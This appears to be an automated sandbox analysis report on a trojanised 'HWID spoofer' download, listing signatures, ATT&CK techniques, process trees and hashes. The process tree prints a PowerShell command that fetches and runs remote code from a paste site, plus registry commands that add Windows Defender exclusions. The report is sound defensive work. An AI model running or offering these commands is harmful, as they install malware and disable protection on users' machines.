hxxp://filesharing[.]s[.]gy/syntex-hwid-spoofer

Analysis

user interaction
yes
max time kernel
65s
max time network
70s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://filesharing.s.gy/syntex-hwid-spoofer
Sample260805-agb3fstdqf

Score

8^/10

costura discovery execution packer

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
91	1996	powershell.exe
102	2396	powershell.exe
104	1996	powershell.exe
105	2396	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
105	2396	powershell.exe

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/files/0x000500000001e0be-319.dat	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
2396	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5532	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2004	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303622493923109"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{82AA1381-AF0A-491D-86C2-3FCADBD36D8F}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeIncreaseQuotaPrivilege	6004	WMIC.exe
Token: SeSecurityPrivilege	6004	WMIC.exe
Token: SeTakeOwnershipPrivilege	6004	WMIC.exe
Token: SeLoadDriverPrivilege	6004	WMIC.exe
Token: SeSystemProfilePrivilege	6004	WMIC.exe
Token: SeSystemtimePrivilege	6004	WMIC.exe
Token: SeProfSingleProcessPrivilege	6004	WMIC.exe
Token: SeIncBasePriorityPrivilege	6004	WMIC.exe
Token: SeCreatePagefilePrivilege	6004	WMIC.exe
Token: SeBackupPrivilege	6004	WMIC.exe
Token: SeRestorePrivilege	6004	WMIC.exe
Token: SeShutdownPrivilege	6004	WMIC.exe
Token: SeDebugPrivilege	6004	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6004	WMIC.exe
Token: SeRemoteShutdownPrivilege	6004	WMIC.exe
Token: SeUndockPrivilege	6004	WMIC.exe
Token: SeManageVolumePrivilege	6004	WMIC.exe
Token: 33	6004	WMIC.exe
Token: 34	6004	WMIC.exe
Token: 35	6004	WMIC.exe
Token: 36	6004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6004	WMIC.exe
Token: SeSecurityPrivilege	6004	WMIC.exe
Token: SeTakeOwnershipPrivilege	6004	WMIC.exe
Token: SeLoadDriverPrivilege	6004	WMIC.exe
Token: SeSystemProfilePrivilege	6004	WMIC.exe
Token: SeSystemtimePrivilege	6004	WMIC.exe
Token: SeProfSingleProcessPrivilege	6004	WMIC.exe
Token: SeIncBasePriorityPrivilege	6004	WMIC.exe
Token: SeCreatePagefilePrivilege	6004	WMIC.exe
Token: SeBackupPrivilege	6004	WMIC.exe
Token: SeRestorePrivilege	6004	WMIC.exe
Token: SeShutdownPrivilege	6004	WMIC.exe
Token: SeDebugPrivilege	6004	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6004	WMIC.exe
Token: SeRemoteShutdownPrivilege	6004	WMIC.exe
Token: SeUndockPrivilege	6004	WMIC.exe
Token: SeManageVolumePrivilege	6004	WMIC.exe
Token: 33	6004	WMIC.exe
Token: 34	6004	WMIC.exe
Token: 35	6004	WMIC.exe
Token: 36	6004	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3828	WMIC.exe
Token: SeSecurityPrivilege	3828	WMIC.exe
Token: SeTakeOwnershipPrivilege	3828	WMIC.exe
Token: SeLoadDriverPrivilege	3828	WMIC.exe
Token: SeSystemProfilePrivilege	3828	WMIC.exe
Token: SeSystemtimePrivilege	3828	WMIC.exe
Token: SeProfSingleProcessPrivilege	3828	WMIC.exe
Token: SeIncBasePriorityPrivilege	3828	WMIC.exe
Token: SeCreatePagefilePrivilege	3828	WMIC.exe
Token: SeBackupPrivilege	3828	WMIC.exe
Token: SeRestorePrivilege	3828	WMIC.exe
Token: SeShutdownPrivilege	3828	WMIC.exe
Token: SeDebugPrivilege	3828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3828	WMIC.exe
Token: SeRemoteShutdownPrivilege	3828	WMIC.exe
Token: SeUndockPrivilege	3828	WMIC.exe
Token: SeManageVolumePrivilege	3828	WMIC.exe
Token: 33	3828	WMIC.exe
Token: 34	3828	WMIC.exe
Token: 35	3828	WMIC.exe
Token: 36	3828	WMIC.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe
4888	msedge.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 4696	4888	msedge.exe	86
PID 4888 wrote to memory of 1076	4888	msedge.exe	89
PID 4888 wrote to memory of 2004	4888	msedge.exe	88
PID 4888 wrote to memory of 1076	4888	msedge.exe	89
PID 4888 wrote to memory of 1076	4888	msedge.exe	89
PID 4888 wrote to memory of 2836	4888	msedge.exe	90
PID 4888 wrote to memory of 2836	4888	msedge.exe	90
PID 4888 wrote to memory of 704	4888	msedge.exe	91
PID 4888 wrote to memory of 1716	4888	msedge.exe	92
PID 4888 wrote to memory of 704	4888	msedge.exe	91
PID 4888 wrote to memory of 704	4888	msedge.exe	91
PID 4888 wrote to memory of 1716	4888	msedge.exe	92
PID 4888 wrote to memory of 1716	4888	msedge.exe	92
PID 4888 wrote to memory of 536	4888	msedge.exe	97
PID 4888 wrote to memory of 536	4888	msedge.exe	97
PID 4888 wrote to memory of 536	4888	msedge.exe	97
PID 4888 wrote to memory of 5344	4888	msedge.exe	98
PID 4888 wrote to memory of 5344	4888	msedge.exe	98
PID 4888 wrote to memory of 3912	4888	msedge.exe	99
PID 4888 wrote to memory of 3912	4888	msedge.exe	99
PID 4888 wrote to memory of 2840	4888	msedge.exe	101
PID 4888 wrote to memory of 1444	4888	msedge.exe	104
PID 4888 wrote to memory of 5900	4888	msedge.exe	105
PID 4888 wrote to memory of 1444	4888	msedge.exe	104
PID 4888 wrote to memory of 5900	4888	msedge.exe	105
PID 4888 wrote to memory of 5900	4888	msedge.exe	105
PID 4888 wrote to memory of 4344	4888	msedge.exe	106
PID 4888 wrote to memory of 5744	4888	msedge.exe	112
PID 4888 wrote to memory of 5640	4888	msedge.exe	113
PID 4888 wrote to memory of 5264	4888	msedge.exe	114
PID 5012 wrote to memory of 1996	5012	Syntex Spoofer.exe	121
PID 5532 wrote to memory of 2384	5532	cmd.exe	129
PID 5532 wrote to memory of 6004	5532	cmd.exe	130
PID 5532 wrote to memory of 3828	5532	cmd.exe	131
PID 5532 wrote to memory of 2840	5532	cmd.exe	132
PID 5532 wrote to memory of 4176	5532	cmd.exe	133
PID 5532 wrote to memory of 4280	5532	cmd.exe	134
PID 5532 wrote to memory of 4976	5532	cmd.exe	135
PID 5532 wrote to memory of 4676	5532	cmd.exe	136
PID 5532 wrote to memory of 5820	5532	cmd.exe	137
PID 5532 wrote to memory of 2096	5532	cmd.exe	140
PID 5532 wrote to memory of 916	5532	cmd.exe	141
PID 4888 wrote to memory of 5968	4888	msedge.exe	143
PID 4888 wrote to memory of 5968	4888	msedge.exe	143
PID 2764 wrote to memory of 2396	2764	Syntex Spoofer.exe	146
PID 2396 wrote to memory of 6060	2396	powershell.exe	149
PID 2396 wrote to memory of 6012	2396	powershell.exe	150
PID 2396 wrote to memory of 1196	2396	powershell.exe	151
PID 2396 wrote to memory of 4672	2396	powershell.exe	152
PID 4672 wrote to memory of 1396	4672	csc.exe	153

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://filesharing.s.gy/syntex-hwid-spoofer
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7ffaa0d2c188,0x7ffaa0d2c194,0x7ffaa0d2c1a0
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,5541965606053479531,13621773912916866671,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,690652006688060371,1738771203467280442,262144 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:2
  2⤵
  PID:1076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1936,i,8564782909949503447,10433476643067233596,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:8
  2⤵
  PID:2836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,9827434892678257176,9871826921020399820,2097152 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
  2⤵
  PID:704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3440,i,11803913973691980764,3281157279368204211,2097152 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
  2⤵
  PID:1716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4976,i,3533167563382685334,9784327551495330306,2097152 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:1
  2⤵
  PID:536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5104,i,9356201652828672497,3606963588409245976,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:8
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4288,i,5414933766585814881,161180857745455361,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:8
  2⤵
  PID:3912
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,1639944220614517043,13558443487838147252,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:8
  2⤵
  PID:4920
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,1639944220614517043,13558443487838147252,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:8
  2⤵
  PID:2840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,9478751159461003491,15166553092477848843,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:8
  2⤵
  PID:1444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6060,i,14339030211127667866,10730765724469096658,2097152 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:1
  2⤵
  PID:5900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6464,i,452968069766416869,3104515564566307769,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6000,i,13510712244651762127,10287583116096207308,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:8
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,12029665487910196412,10202801616248792788,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:8
  2⤵
  PID:5640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,12306421320116936438,16522885246947304264,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  PID:5264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6004,i,1668568442061516649,3602086224325784801,524288 --field-trial-handle=2300,i,10512816645022701463,13846392758387339207,262144 --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:8
  2⤵
  PID:5968

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3208

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2924

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3120

C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/tBTPaWWa/raw | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Serial Checker.bat" "
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Windows\system32\mode.com
  mode con: cols=180 lines=62
  2⤵
  PID:2384
- C:\Windows\System32\Wbem\WMIC.exe
  wmic diskdrive get serialnumber
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6004
- C:\Windows\System32\Wbem\WMIC.exe
  wmic baseboard get serialnumber
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3828
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_computersystemproduct get uuid
  2⤵
  PID:2840
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Description,PNPDeviceID
  2⤵
  PID:4176
- C:\Windows\System32\Wbem\WMIC.exe
  wmic memorychip get partnumber, serialnumber
  2⤵
  PID:4280
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  PID:4976
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get processorid
  2⤵
  PID:4676
- C:\Windows\system32\getmac.exe
  getmac
  2⤵
  PID:5820
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_computersystemproduct get uuid
  2⤵
  PID:2096
- C:\Windows\System32\Wbem\WMIC.exe
  wmic OS GET Caption,SerialNumber,CSName
  2⤵
  PID:916

C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/tBTPaWWa/raw | iex"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:6060
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:6012
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1196
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hpd5vwbw\hpd5vwbw.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4D5B.tmp" "c:\Users\Admin\AppData\Local\Temp\hpd5vwbw\CSC7A022491F7CA447599B1E934A6B627CC.TMP"
      4⤵
      PID:1396
- - C:\Users\Admin\AppData\Local\Temp\tempcache.exe
    "C:\Users\Admin\AppData\Local\Temp\tempcache.exe"
    3⤵
    PID:2844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
